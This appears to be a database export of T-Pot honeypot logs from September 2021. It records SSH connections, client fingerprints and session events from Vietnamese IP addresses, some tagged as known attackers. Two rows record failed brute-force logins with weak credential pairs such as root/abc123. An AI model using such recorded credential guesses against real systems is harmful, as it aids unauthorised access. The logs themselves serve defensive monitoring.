22539	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:01.589341+03	2021-09-20 14:15:06.343471+03	{"_id": "zQbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50652, "timestamp": "2021-09-20T11:07:01.589341", "@timestamp": "2021-09-20T11:07:01.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22540	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:01.512307+03	2021-09-20 14:15:06.34547+03	{"_id": "ywbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "97b9fa918811", "@version": "1", "duration": 2.841705560684204, "timestamp": "2021-09-20T11:07:01.512307Z", "@timestamp": "2021-09-20T11:07:01.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22541	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:02.095291+03	2021-09-20 14:15:06.34647+03	{"_id": "0gbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ed81c353bb43", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:02.095291Z", "@timestamp": "2021-09-20T11:07:02.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22542	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:01.969853+03	2021-09-20 14:15:06.347471+03	{"_id": "1AbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4f21cc6405e9", "@version": "1", "duration": 3.174086570739746, "timestamp": "2021-09-20T11:07:01.969853Z", "@timestamp": "2021-09-20T11:07:01.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22543	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:02.248562+03	2021-09-20 14:15:06.34847+03	{"_id": "5gbjAnwBvYTbRNuESwXu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1211403769054660, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50178, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.248562Z", "@timestamp": "2021-09-20T11:07:02.248Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22544	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:02.025886+03	2021-09-20 14:15:06.34947+03	{"_id": "5QbjAnwBvYTbRNuESwXu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1367678301580610, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47540, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.025886Z", "@timestamp": "2021-09-20T11:07:02.025Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22545	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.081168+03	2021-09-20 14:15:06.35147+03	{"_id": "AAbjAnwBvYTbRNuETQZg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "65df2bdbb1cb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:03.081168Z", "@timestamp": "2021-09-20T11:07:03.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22546	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:02.346603+03	2021-09-20 14:15:06.35347+03	{"_id": "_QbjAnwBvYTbRNuETQVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [kkh/123456] failed", "session": "bb6ee8128784", "@version": "1", "password": "123456", "username": "kkh", "timestamp": "2021-09-20T11:07:02.346603Z", "@timestamp": "2021-09-20T11:07:02.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22547	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:02.334982+03	2021-09-20 14:15:06.35447+03	{"_id": "8AbjAnwBvYTbRNuETQVd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38404, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.334982", "@timestamp": "2021-09-20T11:07:02.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22548	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:02.328208+03	2021-09-20 14:15:06.35547+03	{"_id": "8QbjAnwBvYTbRNuETQVd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/abc123] failed", "session": "d44b4683dc06", "@version": "1", "password": "abc123", "username": "root", "timestamp": "2021-09-20T11:07:02.328208Z", "@timestamp": "2021-09-20T11:07:02.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22549	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:02.957931+03	2021-09-20 14:15:06.356471+03	{"_id": "9AbjAnwBvYTbRNuETQVd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "53e384f69b66", "@version": "1", "duration": 2.465637683868408, "timestamp": "2021-09-20T11:07:02.957931Z", "@timestamp": "2021-09-20T11:07:02.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22550	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:03.061028+03	2021-09-20 14:15:06.357472+03	{"_id": "JQbjAnwBvYTbRNuEUQZE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34642, "timestamp": "2021-09-20T11:07:03.061028", "@timestamp": "2021-09-20T11:07:03.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22551	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:03.378244+03	2021-09-20 14:15:06.359472+03	{"_id": "JgbjAnwBvYTbRNuEUQZE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38094, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.378244", "@timestamp": "2021-09-20T11:07:03.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22552	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:03.785465+03	2021-09-20 14:15:06.360471+03	{"_id": "JwbjAnwBvYTbRNuEUQZE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45932, "timestamp": "2021-09-20T11:07:03.785465", "@timestamp": "2021-09-20T11:07:03.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
